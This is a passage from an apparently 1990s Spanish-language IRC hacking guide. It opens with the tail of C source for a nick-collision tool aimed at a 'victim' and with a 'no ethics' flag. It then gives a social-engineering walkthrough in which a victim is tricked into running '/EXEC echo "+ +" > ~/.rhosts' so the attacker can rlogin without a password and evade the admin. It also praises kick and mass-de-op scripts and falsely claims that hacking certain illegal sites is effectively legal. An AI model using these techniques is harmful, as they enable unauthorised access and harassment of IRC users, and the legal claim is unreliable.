		  nickcount=max_nicks;
	   s=(s->next)?s->next:first_session;
	 }
	 last_session=s;
     }
   }
  }

  void
  main(int argc,char *argv[]) {
   unsigned short int x=1;
   unsigned short int ircport=IRCPORT;
   unsigned long  int defserv_octet=0L;
   char *defserv_char=(char *)0;
   char *defnick=(char *)0;
   struct collide_session *temp;

   version();

   if(argc<3)
    help();

  srand(getpid());

  signal(SIGPIPE,(void (*)())sig_pipe);
  signal(SIGHUP,(void (*)())show_sessions);
  signal(SIGINT,(void (*)())exit_program);
  signal(SIGTERM,(void (*)())exit_program);
  signal(SIGBUS,(void (*)())exit_program);
  signal(SIGABRT,(void (*)())exit_program);
  signal(SIGSEGV,(void (*)())exit_program);

  set_tcp_handler();
  output_buffer=(char *)malloc(BUFSIZE);

  for(;x<argc;x++) {
    signed short int y=1;

    switch(argv[x][0]) {
	 case '-':
	   while(y && argv[x][y]) {
		switch(toupper(argv[x][y])) {
		  case 'T':
		    x++;
		    y=-1;
		    if(!(tcp_timeout=atoi(argv[x])))
			 help();
		    break;
		  case 'I':
		    x++;
		    y=-1;
		    if(!(srv_timeout=atoi(argv[x])))
			 help();
		    break;
		  case 'A':
		    x++;
		    y=-1;
		    if(!(max_attempts=atoi(argv[x])))
			 help();
		    break;
		  case 'D':
		    progmode |= PROG_DEBUG;
		    break;
		  case 'V':
		    progmode |= PROG_VERBOSE;
		    break;
		  case 'N':
		    progmode |= PROG_NOETHICS;
		    break;
		  case 'M':
		    progmode |= PROG_NOMULTI;
		    break;
		  case 'U':
		    progmode |= PROG_IGNORENIU;
		    break;
		  case 'S':
		    progmode |= PROG_SHOWSOUT;
		    break;
		  default:
		   help();
		}
		y++;
	   }
	   break;
	 default:
	   if(strchr(argv[x],'.')) { /* server */
		char *port=strchr(argv[x],':');

  /*          if(defserv_char)
		  defnick=(char *)0; */

		defserv_char=argv[x];
		if(port) {
		  *port=(char)0;
		  ircport=atoi(port+1);
		}
		else
		  ircport=IRCPORT;

		if(defserv_octet)
		  progmode &= ~PROG_NOMULTI; /* more than one server specified */

		if(!(defserv_octet=resolver(defserv_char))) {
		  if(!(progmode & PROG_VERBOSE)) {
		    printf("Failed to resolve '%s' into an IP address.\n",defserv_char);
		    fflush(stdout);
		  }
		  defserv_char=(char *)0;
		}
	   }
	   else { /* nickname */
		defnick=(argv[x][0]=='@' || argv[x][0]=='+')?argv[x]+1:argv[x];
		defnick=(!mystrccmp(defnick,"Vassago"))?"DontDoDat":defnick;
	   }

	   if(defserv_char && defnick) {
		struct collide_session *cs;
		char *temptok=mycstrtok(defnick);

		cs=(struct collide_session *)malloc(sizeof(struct collide_session));
		cs->token=(char *)0;
		cs->sock=0;
		cs->status=SES_INACTIVE;
		cs->connect_attempts=0;
		errno=0;
		cs->token=(char *)malloc(strlen(temptok)+1);
		strcpy(cs->token,temptok);
		cs->ip=defserv_octet;
		cs->port=ircport;
		cs->srvstart=cs->tcpstart=(time_t)0;
		cs->server=defserv_char;
		cs->victim=defnick;
		cs->stack_pointer=cs->stack=(char *)malloc(BUFSIZE);
		cs->next=first_session;
		first_session=cs;
	   }
      }
  }

   if(progmode & PROG_NOMULTI)
     for(temp=first_session;temp;temp=temp->next)
          temp->victim="multi-collide";

   start_sessions();

   parse_sessions();

   exit_program();
  }

  

  13 - Metiendo el .rhosts por el IRC .
   
  Aqui os vamos a contar una interesante tecnica , que se basa en una
  combiancion por parte nuestra : ingenieria social , irc , telnet y
  por supuesto el mundo unix :)
  Vale ya empiezo , que impaciente , joer !!! . Pues primero creamos
  un fichero .rhosts en el cual metenos algun nombre por exemplo
  nuestro nick de incursion :)
  El .rhosts en un fichero unix de control remoto para hacceder a otro
  sistema el cual no necesita un password y siempre se encuentra
  en el directorio HOME de cada usuario con permisos de lectura y
  escritura unicamente para el usuario .
  Cuando ya tengamos el fichero listo nos conectamos al IRC con algun
  nick un poco tonto para parecer que es la primera vez que lo hacemos ,
  luego buscamos una victima que se mueva en unix , entonces hablamos
  con el , hacerle preguntas sobre como funciona el IRC y cosas por
  el estilo para que se crea que somos unos novatillos , cuando ya
  tengamos cierta confianza le decimos que tienes un comando que no
  hace nada aparentemente y le pedimos si nos puede ayudar ejecutandolo
  el :)
  Lo mas seguro es que se preste a ayudarnos y nos diga cual es el
  comando en cuestion , y le decimos que lo escriba .

  -> Comando que debe escribir la victima .

  .  /EXEC echo "+ +" > ~/.rhosts
  
  Cuando la victima haya escrito esto , seguramente nos dira que a el
  tampoco le hace nada :) entonces nos despedimos y le damos las gracias
  por su ayuda .
  Dejamos el irc y nos dirigimos al prompt en unix y ejecutamos el
  comando rlogin con el sistema de la victima .

  -> Comando que hay que poner para acceder .

  .  rlogin victima.com -l nuestro_nick 

  Entonces accederemos al sistema de la victima sin password y nada :))
  y con permisos de lectura y escritura , entonces solo nos queda movernos
  por el sistema aunque procurar no llamar la atencion ni hacer cosas raras
  o el admin os podia pillar :(

  

  14 - Utilizacion de scripts .

  Los scripts , esas pequeas grandes utilidades que nos ayudan en nuestros
  propositos :)
  Bueno que decir de ellos , ya casi todo el mundo usa uno aunque los hay
  de muchas variantes , del mas inocente hasta el mas perverso capaz de
  hacer maravillas , je je je
  Como hay tantos disponibles no me quiero enfocar en la utilizacion de
  uno en concreto , aunque la mayoria suelen ser muy parecidos , como
  por ejemplo : bannear , kick , mass-de-op , fserve y muchas mas opciones .
  Por lo que mejor sere que de unos consejos por si no sabes cual utilizar .

  -> Consejos en la utilizacion de scripts .

  . Procura siempre tener varios a mano o en tu HD ( disco duro :)
  . Los que mas ocupan por regla general suelen ser bastante buenos .
  . Procura siempre tener la ultima version .
  . Para empezar y conocerlo haz pruebas en el IRC con algun amigo ,
    luego ya podras ajustar cuentas cuando sepas como funciona .
  . La RED esta lleno de estas utilidades , nuevete un poco y tu
    esfuerzo se vera recompensado .
  . Procura que sea bastante completo en opciones , consutalo con
    un colega sobre sus script y las opciones que tiene el .
  . Hay script en espaol muy buenos , por si el ingles te falla ;-)


  

  15 - Informacion general .

  Pues lamento decirte que la guia ha llegado a su fin , espero que este
  esfuerzo haya servido de algo y la informacion aqui contenida te haya
  servido para algo .
  Pero espero que no uses esta guia solo para joder el projimo , ya que
  eso va encontra de la etica hacker .
  Por el momento no se preeve una nueva vesion de la guia , pero nunca
  se sabe , si aparece algo realmente interesante vere que se puede hacer .


  Desde aqui quiero agradecer a todos aquellos que han aportado su grano
  de arena sobre el HACKING en el IRC , revelando su informacion a la
  masa que desea conocer esto del hack y tambien a todos eso programadores
  que estan trabajando continuamente para sacar mejores progranas y script :)
                          A TODOS ELLOS UN SALUDO
  


  16 - -J.J.F. / HACKERS TEAM - .
  
  Que puedo decir de -JJF- , es un grupo de hackers de varias nacionalidades
  que se dedican eso , al HACKING , ya que creemos que la informacion
  desea ser libre y eso hacemos , pero jamas con malos fines o destruyendo
  sistemas ya que va encontra de la politica del grupo a no ser que sean
  sistemas con pornografia infatil , la cual aborrecemos y ajustamos las
  cuentas :) , ademas sabias que en cierto modo el legal hackear ordenadores
  con pornografia infantil ya que tambien es ilegal y no podras ser
  perseguido ya que seguro que ellos no se lo diran a las autoridades :))))
  Yo soy el CONDE VAMPIRO , uno de sus primeros mienbros y lo mio es el
  hack y los virus , aunque lo que mas me gusta es la seguridad informatica .
  Si quieres ponerte encontacto conmigo para cualquier cosa abajo encontraras
  mi e-mail , pero no es el del grupo , lo siento pero es privado , y si me
  escribres para decirme chorradas olvidame :)

  Que conste que nosotros solo nos hemos dedicado a la recopilacion de la
  informacion y aportando lo que creiamos que faltaba para que sea algo
  tecnico y realmente util .

  -> Mi e-mail .

  conde_vampiro@usa.net


              - No manches la RED con pornografia infantil -


                                                        CONDE VAMPIRO
                                                  - J.J.F. / HACKERS TEAM - 

